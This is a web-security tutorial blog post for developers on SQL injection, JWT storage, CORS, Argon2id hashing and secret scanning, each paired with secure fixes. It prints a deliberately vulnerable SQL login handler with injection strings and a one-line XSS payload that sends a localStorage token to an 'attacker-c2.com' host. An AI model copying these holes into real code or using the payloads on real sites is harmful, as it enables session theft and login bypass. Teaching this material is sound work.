Cybersecurity

Application Security Basics: SQL Injection, JWT Pitfalls, and CORS for Web Developers

DD
Ankur Ishwar
9 min read Updated Sep 7, 2026
Application Security Basics for Web Developers

A junior developer I worked with accidentally committed his .env file containing an AWS root access key to a public GitHub repository at 11:30 PM on a Friday.

Automated bot crawlers sniff new GitHub public commits within 45 seconds. By Saturday morning, those crawlers had spun up thirty GPU compute instances in the Ireland region for cryptocurrency mining. The total AWS bill was over ₹4,80,000.

Most cybersecurity articles write generic advice about downloading antivirus software and changing passwords every thirty days. If you write code for the web, that advice is useless. You need to understand how malicious actors exploit real web applications at the code level.

1. SQL Injection: Why Parameterized Queries Are Non-Negotiable

SQL Injection (SQLi) has sat near the top of the OWASP Top 10 for over two decades. It happens whenever untrusted user input is directly concatenated into a raw SQL query string.

Look at this vulnerable Node.js database handler:

// VULNERABLE: Never build SQL queries with string interpolation
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;
  
  // An attacker sends: ' OR '1'='1
  const sql = `SELECT id, role, password_hash FROM users WHERE email = '${email}'`;
  const [rows] = await db.query(sql);
  
  // Returns the entire user table because '1'='1 is always true
  res.json(rows[0]);
});

When the attacker inputs admin@company.com' --, the database parser treats the remainder of the query as a comment, bypassing authentication entirely.

Here is the secure fix using parameterized prepared statements:

// SECURE: Parameterized queries separate SQL commands from raw data
app.post('/api/login', async (req, res) => {
  const { email } = req.body;

  const sql = 'SELECT id, role, password_hash FROM users WHERE email = ? LIMIT 1';
  const [rows] = await db.execute(sql, [email]);

  if (rows.length === 0) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  // Proceed to constant-time password verification
});

In a parameterized query, the database engine compiles the SQL execution plan first before substituting the parameters. The attacker string is treated strictly as literal text, never executable instructions.

2. The JWT Storage Trap: Stop Using localStorage

Almost every YouTube tutorial tells beginners to store JSON Web Tokens in browser localStorage:

// THE MISTAKE: Any Cross-Site Scripting (XSS) payload can steal this
localStorage.setItem('auth_token', token);

If your website has a single Cross-Site Scripting (XSS) flaw in a blog comment or third-party script, an attacker can run one line of JavaScript to siphon every active session on your domain:

// XSS payload stealing the auth session
fetch('https://attacker-c2.com/exfiltrate?token=' + localStorage.getItem('auth_token'));

The secure alternative is storing authentication tokens in httpOnly, Secure, SameSite=Strict cookies. JavaScript cannot access an httpOnly cookie under any circumstance:

// SECURE: Cookie issued from your Node/Express backend
res.cookie('token', jwtToken, {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production', // Requires HTTPS
  sameSite: 'strict', // Blocks CSRF requests from foreign sites
  maxAge: 1000 * 60 * 60 * 24, // 24 hours
  path: '/',
});

3. What CORS Actually Does (and What It Does Not)

Almost every junior developer runs into this console error when connecting a frontend to a backend:

Access to fetch at 'https://api.backend.in' from origin 'https://my-app.in' has been blocked by CORS policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.

In frustration, developers often paste this snippet into their Express backend:

// DANGEROUS: Permissive wildcard CORS header
app.use(cors({ origin: '*' }));

Understand this: CORS does not protect your backend server. An attacker can make direct HTTP requests using curl, Python scripts, or Postman all day long without triggering CORS checks. CORS exists to protect the end-user's browser from malicious cross-origin scripts impersonating their session.

Specify exact trusted origins in your production middleware:

import cors from 'cors';

const allowedOrigins = [
  'https://dropoutdeveloper.in',
  'https://app.dropoutdeveloper.in',
];

app.use(
  cors({
    origin: (origin, callback) => {
      if (!origin || allowedOrigins.includes(origin)) {
        callback(null, true);
      } else {
        callback(new Error('Blocked by CORS policy'));
      }
    },
    credentials: true, // Required for httpOnly cookies
  })
);

4. Modern Password Hashing: Argon2id and Bcrypt

Never use plain SHA-256 or MD5 for passwords. Fast general-purpose hashing functions are designed for raw throughput. An inexpensive NVIDIA RTX 4090 GPU can compute over 150 billion SHA-256 hashes every single second, cracking an 8-character password in seconds.

Use memory-hard and computationally intensive algorithms like Argon2id or bcrypt:

// Password hashing using Argon2id
import argon2 from 'argon2';

export async function hashPassword(plainText: string): Promise<string> {
  return await argon2.hash(plainText, {
    type: argon2.argon2id,
    memoryCost: 65536, // 64 MB of RAM allocation per attempt
    timeCost: 3,       // 3 iterations
    parallelism: 4,    // 4 CPU threads
  });
}

export async function verifyPassword(hash: string, plainText: string): Promise<boolean> {
  return await argon2.verify(hash, plainText);
}

Because Argon2id requires large memory allocations per calculation, attackers cannot parallelize dictionary cracking on consumer GPU clusters.

5. Pre-Commit Scanners for Secret Leaks

To avoid the dreaded ₹4 lakh cloud bill, install local git hooks that scan for API keys, private certificates, and AWS tokens before any commit hits GitHub:

# Install truffleHog via homebrew or standalone binary
brew install trufflehog

# Scan your current git repository for leaked credentials in commit history
trufflehog git file://. --since-commit HEAD~5

Add .env, .env.local, *.pem, and id_rsa to your global ~/.gitignore file so you never accidentally stage private credentials.

Summary Checklist for Your Codebase

Vulnerability Dangerous Pattern Secure Standard
SQL Injection String interpolation in queries Parameterized queries (? or $1)
Auth Tokens Browser localStorage httpOnly, SameSite=Strict cookies
CORS Access-Control-Allow-Origin: * with credentials Explicit whitelist of production domains
Passwords MD5 or plain SHA-256 Argon2id or bcrypt (work factor 12+)
Git Secrets Pushing .env to GitHub Pre-commit secret hooks and KMS vaults

Next Steps

Found this useful?
View all articles

Keep Reading

Related Articles

Learn with Dropout Developer

Build real software with AI

Step-by-step learning paths, vibe coding tutorials, and certified developer programs designed for the modern engineer.